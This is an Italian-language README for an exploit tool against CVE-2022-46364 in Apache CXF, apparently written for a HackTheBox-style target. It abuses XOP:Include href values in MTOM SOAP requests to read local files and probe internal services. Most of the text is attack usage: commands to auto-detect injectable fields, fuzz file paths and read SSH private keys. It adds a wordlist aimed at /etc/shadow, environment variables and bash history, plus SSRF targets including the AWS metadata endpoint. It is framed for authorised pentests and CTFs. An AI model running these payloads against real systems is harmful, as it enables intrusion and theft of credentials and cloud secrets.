
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
Autore: 0xmid00
Vulnerabilità: SSRF / Lettura file locale tramite XOP:Include nelle richieste MTOM
Interessati: Apache CXF < 3.5.5 e < 3.4.10
Apache CXF elabora messaggi MTOM (Message Transmission Optimization Mechanism) che contengono elementi XOP:Include. L'attributo href di XOP:Include dovrebbe fare riferimento a un allegato all'interno dello stesso messaggio multipart MTOM.
Tuttavia, nelle versioni vulnerabili, CXF segue qualsiasi URI fornito in href, inclusi:
file:///etc/passwd → legge file locali (LFI)http://127.0.0.1:PORT/ → sonda servizi interni (SSRF)Un attaccante deve solo inviare una richiesta SOAP con almeno un parametro di qualsiasi tipo per attivarlo.
pip install requests
python3 exploit.py -r request.txt [options]
| Argomento | Descrizione |
|---|---|
-r, --request | Percorso del file di richiesta HTTP grezzo (obbligatorio) |
--mode 1 | Rilevamento automatico dei campi XML iniettabili usando /etc/passwd |
--mode 2 | Fuzzing di un wordlist di percorsi file |
--field NAME | Specifica il campo XML da iniettare (salta il rilevamento automatico) |
--wordlist PATH | Percorso del wordlist di file per la Modalità 2 |
--read PATH | Legge un singolo file specifico |
-v, --verbose | Mostra informazioni dettagliate sulla richiesta |
Salva la tua richiesta HTTP grezza in un file .txt esattamente come catturata (ad es. da Burp):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
L'exploit lo converte automaticamente in formato MTOM — non devi farlo manualmente.
python3 exploit.py -r request.txt --mode 1
Prova a iniettare file:///etc/passwd in ogni elemento XML foglia e riporta quali restituiscono il contenuto del file.
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
Prima esegue la Modalità 1 per trovare il campo iniettabile, poi fuzza tutti i percorsi nel wordlist attraverso quel campo.
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
Salta il rilevamento del campo e passa direttamente al fuzzing.
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
Puoi anche usare SecLists:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>Per sondare servizi HTTP interni invece di leggere file:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
Oppure modifica il valore di --read con qualsiasi URL interno:
--read http://169.254.169.254/latest/meta-data/ (metadati AWS)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (banner SSH)
Questo strumento è destinato solo a test di penetrazione autorizzati e sfide CTF. L'autore non è responsabile per qualsiasi uso improprio.